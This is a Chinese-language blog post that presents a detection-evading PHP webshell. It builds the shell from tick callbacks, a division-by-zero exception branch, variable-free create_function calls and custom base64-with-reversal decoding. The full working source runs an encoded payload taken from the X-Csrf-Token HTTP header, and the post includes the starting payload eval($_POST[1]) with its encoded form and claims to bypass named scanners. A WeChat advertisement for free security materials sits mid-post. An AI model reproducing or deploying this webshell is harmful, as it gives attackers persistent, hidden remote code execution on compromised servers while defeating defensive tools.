记录一个免杀的php webshell demo
异常捕获机制
这里使用的是触发异常来完成程序控制流的第一次分支,所以我自己写了一个除以0触发异常的函数
function safeDivide($a, $b) { if ($b == 0) { throw new Exception("Division by zero is not allowed."); } return $a / $b; }设置一个pass传参,我设置的主体框架如下:
try { echo "result:".safeDivide(2025, ($_GET['pass']-1)); }catch(Exception $e){ // evil code }回调
我在php的官方文档里翻到一个有趣的函数
ticks参数可以设置Zend VM opcode执行条数后触发
我们测试一下:
<?php declare(ticks=15); function test(){ echo "this is evil code\n"; } register_tick_function('test'); for ($i = 1; $i <= 12; $i++) { echo "shell: $i\n"; }我们可以发现设置declare(ticks=15) 后,PHP每累计到约15个“tickable”执行点,就调用一次通过register_tick_function注册的函数。
那么对于我们的webshell免杀,我们也可以利用这个函数,来完成程序控制流的改变
此处的设计将declare回调放在最外层实现第一次的控制流变化,将异常触发放在内层实现第二次
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
动态函数调用
这个就是直接使用php的函数了,没啥好说的了
create_function(string $args, string $code): string实际测试的时候,如果使用变量接受的话,容易被检测
$a = create_function('', ''); $a();不使用变量来存匿名函数,这个也是尽量减少污点分析时候的特征
@create_function('','')))();编码混淆
找个大模型一把梭
base64和逆序
function custom_base64_decode($input) { $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; $input = rtrim($input, '='); $binaryString = ''; foreach (str_split($input) as $char) { $index = strpos($base64Chars, $char); if ($index === false) { throw new Exception("Invalid Base64 character: $char"); } $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT); } $bytes = str_split($binaryString, 8); $decodedString = ''; foreach ($bytes as $byte) { $decodedString .= chr(bindec($byte)); } return $decodedString; } function reverseString($input) { if (!is_string($input)) { return "need str"; } $length = strlen($input); $reversed = ""; for ($i = $length - 1; $i >= 0; $i--) { $reversed .= $input[ $i ]; } return $reversed; }完整的webshell
源代码
具体的攻击载荷放在http的X-Csrf-Token里
<?php session_start(); declare(ticks=15); function safeDivide($a, $b) { if ($b == 0) { throw new Exception("Division by zero is not allowed."); } return $a / $b; } function custom_base64_decode($input) { $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; $input = rtrim($input, '='); $binaryString = ''; foreach (str_split($input) as $char) { $index = strpos($base64Chars, $char); if ($index === false) { throw new Exception("Invalid Base64 character: $char"); } $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT); } $bytes = str_split($binaryString, 8); $decodedString = ''; foreach ($bytes as $byte) { $decodedString .= chr(bindec($byte)); } return $decodedString; } function reverseString($input) { if (!is_string($input)) { return "need str"; } $length = strlen($input); $reversed = ""; for ($i = $length - 1; $i >= 0; $i--) { $reversed .= $input[ $i ]; } return $reversed; } function tickHandler(){ try { echo "result:".safeDivide(2025, ($_GET['pass']-1)); }catch(Exception $e){ @create_function('',custom_base64_decode(reverseString(apache_request_headers()['X-Csrf-Token'])))(); } } register_tick_function('tickHandler'); for ($i = 1; $i <= 12; $i++) { echo "shell: $i\n"; }测试环境
PHP版本:PHP7全版本
OS:Windows和Linux环境均测试通过
使用方法
初始payload:eval($_POST[1]);
base64编码,逆序处理:==wOp0VMbR1UPB1XkgCbhZXZ
放在http头部里
webshell连接
免杀效果展示
第四届伏魔挑战赛成功绕过(white)的截图
VT
D盾(2.1.8.6)
河马:报了可疑
